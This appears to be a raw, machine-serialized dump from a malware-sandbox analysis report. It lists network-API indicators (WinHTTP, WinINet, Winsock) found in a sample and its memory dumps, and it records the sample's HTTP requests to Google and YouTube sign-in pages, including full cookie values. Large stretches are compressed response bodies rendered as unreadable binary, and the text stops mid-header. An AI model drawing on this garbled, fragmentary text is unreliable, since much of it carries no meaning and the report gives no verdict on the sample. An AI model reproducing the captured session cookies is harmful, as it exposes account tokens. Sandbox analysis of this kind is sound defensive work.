deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=Msi8adckgC7bDJ_JdNinbZO8vcgOs0kwPso0xSt7moQ1Yxh21Pq_pSDOkWs5gmpQbZggpzoHtaT6mjUceCepv40-tUa009slUsLcrsUnmkg64a_SF3pXCGlgURcSwC9b7ezBWSpsFP_3Z4rPjEMTCD_g5r8EDQHIGa6HWfUqwJKqK2BiQX2INJSrouNfQGAbNIV8Vf1sR7I0nb7PPX32VMZ3BH_9YK1C0355r5rt8y0mhqDlrKmDP_vfPeKR7ZKuxXFqntjOtqImAjzNQWliyhzemPCYjxqutTYa5JOwPQR32qB_MjeTgv-ABSX4lLzYDsy8n1ddHMMI3lsAc9upvA; hideBrowserUpgradeBox=true; VISITOR_INFO1_LIVE=XpthVfMxZNs; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgDg%3D%3D; __Secure-ROLLOUT_TOKEN=CITo8f3ZkPrUyQEQrozGrpenlgMYrozGrpenlgM%3D; YSC=MqU4vmsk9OA"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=739417262×tamp=1786953386402 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; __Secure-YNID=21.YT=Msi8adckgC7bDJ_JdNinbZO8vcgOs0kwPso0xSt7moQ1Yxh21Pq_pSDOkWs5gmpQbZggpzoHtaT6mjUceCepv40-tUa009slUsLcrsUnmkg64a_SF3pXCGlgURcSwC9b7ezBWSpsFP_3Z4rPjEMTCD_g5r8EDQHIGa6HWfUqwJKqK2BiQX2INJSrouNfQGAbNIV8Vf1sR7I0nb7PPX32VMZ3BH_9YK1C0355r5rt8y0mhqDlrKmDP_vfPeKR7ZKuxXFqntjOtqImAjzNQWliyhzemPCYjxqutTYa5JOwPQR32qB_MjeTgv-ABSX4lLzYDsy8n1ddHMMI3lsAc9upvA; hideBrowserUpgradeBox=true; VISITOR_INFO1_LIVE=XpthVfMxZNs; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgDg%3D%3D; __Secure-ROLLOUT_TOKEN=CITo8f3ZkPrUyQEQrozGrpenlgMYrozGrpenlgM%3D; YSC=MqU4vmsk9OA"; in File: "SSL")5e:T104f,Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002532-00000C2C-252067462") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002532-00000C2C-252067778") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")5f:Ta8c,Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpCrackUrl" (Indicator: "WinHttpCrackUrl"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp")60:T659,file/memory contains long string with (Indicator: " connect "; File: "dnserror_1_") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "gethostname" (Indicator: "gethostname"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00005628.00000000.76333.016B0000.00000002.mdmp") Found reference to API "Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement." (Indicator: " accept "; Source: "00000000-00005632.00000000.76197.001AA000.00000002.mdmp")61:T7c1c,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeConnection: Keep-AliveDNT: 1" "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1004000441:1786953168316421 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe" "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:hXBn1KGL3abIkkboE3TC-h21vbu1ow:-rbE-MtClb0QaPyYConnection: Keep-AliveDNT: 1" "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-148513758:1786953168073627 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:hXBn1KGL3abIkkboE3TC-h21vbu1ow:-rbE-MtClb0QaPyY" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe;Path=/;Expires=Wed, 16-Aug-2028 07:52:47 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-979lSKyG7t_9u3u6ebVNiw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Mon, 17 Aug 2026 07:52:47 GMTExpires: Mon, 17 Aug 2026 07:52:47 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "000000010000100��P�j�@��[Kz�5)ڮS�X0��㲙��6��f�y�X!�eⱂ��m�C�<��'"�QK�v?��S�1r�-�.��Ig9w�p�Q� �X�o٭' 'Ts�!��H�x %Ł��3N/�J�p�ֈu�A/��vx�4��M��E�_�f�ݗ�c��n��[�8c��<�K�'h`4MB��%&��K�Y��m", "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 17 Aug 2026 07:52:48 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1004000441:1786953168316421Strict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Resource-Policy: cross-originPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-LtCTzSGzncUjKE9e1D9fWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000", "00000001�000000010000000100000001s00000001�00000001F00000001�00000001�00000001h00000001�1�104a�5�*]n��y8��NR_:��E"�U@�d��-�`Y`!�s�v�H��~��ߢ��-M1��㳯�,�6s�na[8G�/�c�)��"~n2:ӏ��~�s.˝��ūO��Ͼ�ƙ��~��kw4�N/?M�W�ӛ�|z>=�&��F��3��y��e�YMc��v��{QZ��<��~�|�ｺzf�@��΄��C�vl��;�|۟�}�h�[��e{u?��߿.�V� ��g��D}.z�f�|Ѱw�O;�6,�!��2침�l5�>VW3Cg��=��I�t�=<��uǳ��'S��Z�ND1&y*�3�Aj�[��Dn?Ύ`k�]hs�'��C!��+��o��6~1d�.�S�I��R��o�M�ݜO��{0�&�a�98.9sz,��3�EYGHE8�̖F �+.��c:�؛ϔI��oO��4L`�H��S=V�x��u|#�2�s��4�aE��R0qZ Ok��*!�`�4��,0�ioؒ��B�-�u9��釓{(��@�ǟr2�@�/c�.^/U�$�DZ��i*#�fQT��H��}�� <��W�@��i�9��`(�N��(#c��#s��;�˥��'c\`�[�n(5�w��B��k=OO��F^�إ�^�#�N��6�銡�GG}�3�`1�J��)��/�h*��2ܴC(�U`�3C,xk0��Q�x��܍��&FaT��+{�$��U��b=c��:�� 6˩��ìÂ2��B-:��S�e�&ǖ�Ǝ��GW�r�X��%�6|cf��f�<�?J�4ɍ�茆�p2�{C��|U��EHc�e�u�~q\�HBc8��㝾��T�ֵ�NA9��P�j�uG��c.��|d�J:r�$��S%w�|\:8~ɇ��C�Qf�]��6�C��H*&��^��x1��7`�ð�Iݾ��?��G�]E�`�6��u0�50��Vś��oTl��Rr��R<�FZ�u��c�G<�d?��Е?-u�b��;KوYt7�:�f��e�.�vz��4D�X�U�M �+E(}Q)��eXs��_�1", "�#��B�� lǆ�83u9�f3g�U(58Մ#8��Z:t��H�\Ń�D�I�X]y��)�a/�g��:XQº�|8�т�Ǉh��j��yc��ɲ��w3J��`�EZ��>��hIC��_�_-�L<�bk�8Y�k>�U�]��W;�R��KR��(פX�"yz��t�Е��D��_��1_~��6�ī��f�@��E#��s��6�o+?0��M��Z��-(G��JkE��3t7i�Ð#�+��D�$vY1�HwO{��;��}��)�Fe�p^�q�$~[?��r��a&�b�.�#�S�2X�<��j�˕��@{��#��f��P�2�<��(��/��Wq^�qhtAK'��R�.��(($�:�Ǭws��*83;k�ƫ�pW�kCm��D��E%N�U��T�K�:v͝gTs��w��ՠ��S:vu4�)U\4$�ƨiqi��Y�:J��1�h�Sthe��D��D� th��ʊd��b��23e?� ��V��*�I�8��ΣR�B�"�֫��#+X?��UɏG�2�4�n%�!��9.�J��ii`u�dQ�� []tݷ��-$sqڟ��d��ky�i��t�HB�,)uMz��o6�{�nI�?��l��.T�V�;�N?��bD��24�L�ҝ�5�h9�X�ۆ�w��&��X�vi2�)��e�:�m��6!=��n�I��(��.�3�)��_B��mD��H��MıC(��j�qu��<��h�^^�Վ��m�e�Y��^i�j�?�,(��]��<``�A��m2Ԥ�FPIoW�gLJ�[�`i�� Mv�s�t*k5~�g_��ˬy54��sbA�}O0/>K5�RW>��+Üw�E>��7"2��Ъ�=eU�؁��؁��z� �ű@�ي�.�d9�rߥ��.͹ku�#�U��<�`�y�3@�p��i��|�l�]�nᦗ��o��@P�æ5r�ޟ��5��$ã�i)J�ߛ1��P�e\AqX��iI��V��9f۱b#�F�ۆ��bzM@8��}7�jw��W��y��l��M)�+hv��-oܤ�OftoI�K:�(0��0��k�v��'��3z>��B�釲1�H�_��s�߃��w��$��n/5+��>��I��/��8�grs˯�VT4��x�׸��|Ϗ�;]�s4-�}jï��cc2�2,�3A�", "M�*u:�6��0��#%��Q�f��@��l�-�L��aRZ��~q�2�2̧��|(�Rb)��M��`DZBFې�#��ic�?�RL0x]��`�X��ҦM5}�*�]A��ئ![�e=�aq�u��QL~�tV�p��$��I�� tL��/�^.GQ�R|��a؃ӟ�B�Sr(�=��P�Bǥ�X��y�Z{,�B�^߭�7��+�riC��0�BŬ)ג��-��t.�Dɻ��{q='jp��Ƶ��U?�ɔmR��{8c��s7-�ÎJ�4vۂ�Q�%c��p� ��+�a*��2��R)Ө��)I��%n2�͡�D�a��2H0X�GCj&QFxE��2�>"H#��a�F�)�pq��)EX%��%��V`C�l�L�:g�^\U��V�7��UDK1k*�II��TK�7�T�p%��|�1��4lu��ܫkE7e�pF7ts��)��*�.��%ȵ��0I�-��M�`0�2�-�'8� ��U��5F�Q��w��s�5;��m60x�Ft�ZS�PL�PA�`�Fա��P!9�~; ��%��x��b��P��u�E�έ��W�UV�%�"��k��{��'��(%a��#e##��&=Ć4��߄*��1��] ��âx+<�^W��ސ�-��O6Y�`V?��Ld��!�ˣ��qUJv�T!b~%4�pT�S/��&��{��ë�b�~��eM��k*��`��D'�e�s�s��^��^�XjSG|�Iқ�([�:�OZ��YT�7�O�W��?��+�"Җ%[b��-�t�#e��N�D��K�E3L{�G�D�fFxôd#�V��nI+čZ*gO�d�.��=ipM��|��?5��;��W�x��c��͎�Aί�k�G|��hy�:HӝW2�Zm��u/M�IdR�cdRhgz.C�ODT�P/�\j�Ϙ�P�B�IWݮ��wB��Spj�"ȉ#�N�y�Ft�E$m=��H��:��(o�W��ݫ��Ȱ��~�;q؏v��-�5�%��KnDF�B��7�Ij��Z��KE%�#��I^�/ȓ;1��{T��8�Տ��|W�2��3��]#L��3�YU([��q26�j��u�ɰv��Qg,dc��^lL�l��T�p�l=��zIkyA��))U��*��" "00000001�00000001]00000001i00000001s00000001�00000001<0000000100000001�00000001+00000001�00000001�00000001/00000001�00010d4�I��ڭ�I !��p8cC��W��d�&y�ݚ�LaK�V��t�l&Tֶ.r�&��zag�4�7��|*��EL&"��)��S4��;�+E��D{e�R4Q�6I��e�p��0�Y��s.�e�-�S��L낖�sZ6�e��*�A[&�K��yrW��`�4/�Xg��7�j"G角nϊoӘ'�ʇ�5�'��x�4b��'x� ��Z��1��Ih3��2a��$��q+��l��x��p�ȓ$T�ǉ̥:Ħ��W|]<��c��L%�#�DY�$�@�=|9َG1+_`ʡ��ty�H�W�N1B��)��)9�s��K�8w�i%�؈2("6rW�1��J�R��*��L�>��io��ഷt�b�uv=6�U��&�g=�>��M{ _´��/k�ׁ�`N��љJ��J� mPZ{9^��q��SV;�JA�T�p�CY3��@�0W==Y��A�BL��w)Kq��E|��">�ex��V��^O��Mz˳e�1��+��(�ې�EI�3�f|lk��v�o��+�l#�n�-z��Y5>�!�y��Xg��=��ΎG#��IbiK񃒏�Ұ��<�K��;�^�Ǔ��~*t6r�)0)M�QZ��_bGļVѵL��=Ͳ]c��"||]��&�w*Eh>I{��lNk�w�<�C�18�[�~M^ܓ��~��O�e4�f��ە�#Cџ7��^_;�?��>^��V�o|7�sG�:��;L��f�B��[��r��qc�N��3��$��t�t��#�M��|��/��jv��|/CɣO��e��)�4�ta��l��-g��9s�7Q��B%@��:��(��ާBȗB��7wnh�'�_4sU;�w��ۣ`f�oC4/�R$H㓐��@�g�qD��/�L�9��rH��Ak8��kd�.gv��v��)��-��V��V�H�r�U&�U�Bg�ϟ0�N��ZA�O�/w��w��B��Eh��m~��1cf'5uT0&}\��*tc=}��愅�if��='J3`�l�wn��À�cd��)�*^��r9硚W��.��`hYl��;�;K��&�ף��a��l;�H֨M�]wj��f��P�N�^�)��'��·��V\#��gp;��j��I�vw��46b#�lL��t��B�60��9<�qi�Y��aRo�z��O�bY�b*�?�G$��c��e�:�e��uTDt^h,��&&�5E��[*#�qP ��|7�_��g��u�)d(�ޑ��&:r��R�}��-��>�:��**�M�IHƩ�*��r��}�8��d�t�M�*ip}p��]|�8�s>X=�4f��j�v�j�n��LMq[�v��7�t��o�Cxd�[h��e��JzRhîq~Pgbl��F'�8��ݗ�6&�!�M��-)�o��N��u!�+G�v\k��$|�eysqbiq��p�ҝ�9��@�F��Dy�&pF8P�-P\��o��o/ˏN1� ��O��A�Cg׏�Aĥ�n��l��֦S��#�w)��Һ�&߁/rayܴ�@��rK^��=��[W��zA��7KfaeE�g@kri��2�cf�]�Q5��P�E��7�2�A��-�6k�f�̴;D��F?�FCc�X^=zjg�vi��9x��5�!��S��?y^��j^UNr��R�+�K:�f�;�v�10�L��~ki?��a��[q�X=�h$�M10�_=�4�F��Fo�*>s�4��6Jx(n!��Q�%B%J�x��k�ml��N��R�^��Lg�y� ��6��Ux6�3b��?��f�ܝ_��E78��؛�p˲��խ", "��>�٧�]�j�g)_*�^LQw�.Rx��QhZ��e7ߦ��l�X7~]|��.�9��/AW�#��~R��s��>�)AH��q�i�g�xe�A�� 5h��/��9T�[�/�5wZ�=�G`��`��>\g}��x�x�w��d�e�'�� 0��f��[�?JC��Z��<��xkS��O�Lx�Ƿ��"�(Z��]��j�{�8}*��ֲ�f�ӫb�SQ9}ܐ�J�#V�p��B��h!/��,q��,��6�Tn�F_-Z�V�1Q&ˬ0�#�j��4W�%�lS\�(\`<��@��~>Ʀ�Ԋ�)�[��CV�j/��e�"Bʶ]v��Ѩ��t�t��V"��~�A�N*�4�A��>�%J�28��u=2z��͛��u�⩝�5k/m��#x�B*�1�NǺ��E7rN'Fk?3�/%��K~ȠpGO@�R<;w�&��u[�'�b�� 1D�`DP��o/f\|܎��܂\��o�@,햳�zT�AH偑��{��4m@ܱ5��aW~�}�~P��Z��{3{��xu��s�E��כ��O�=÷�f��J��@*Z.�@͜�O�|x!�a|'��7�j�gJ�=�I��k�/p��|��E�&�=��(��:P?m�|��l�̄��R+;��z�$q�A��y�\ή^�uW�x��$�1CZM��فnFMDRe��}�~'H�O��4�+��27�9�#��'.��B\�-��X_S)�/�'y^��:w��l�*��.ע�u��toW'��7��cl��>N:HL��(>Z%\B��q�ug�ʳǧ�^�S�&��\�ʹ[/��֠�1y��*��q9�Tx!�ϫ2�2�q�i*��5k�Rҡ�_�ȗ��Tnt��!v�C��\&g�T&�'4�I�H��E�P�'r��7��O�}T~��0�,)��M2��N.9z�%c\�J�ҙcD^b��W��_��tnY#չ��>�R�&r�%ެ9�iK��XR�5��uel��+�r�Uv�*܃��{Ɛ�nk`T�;��-��b��9L�S�1r�-�.��Ig9w�p�Q� �X�o٭' 'Ts�!��H�x %Ł��3N/�J�p�ֈu�A/��vx�4��M��E�_�f�ݗ�c��n��[�8c��<�K�'h`4MB��%&��K�Y��m", "HTTP/1.1 302 FoundContent-Type: application/binaryCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 17 Aug 2026 07:52:48 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-148513758:1786953168073627Strict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy: unsafe-noneCross-Origin-Resource-Policy: cross-originContent-Security-Policy: script-src 'nonce-jEBY7OvF8rJTKqjyFIMfcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 17 Aug 2026 07:52:48 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-45TIofLgHzaLUo2bcZNoDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Cross-Origin-Resource-Policy: same-sitePermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, 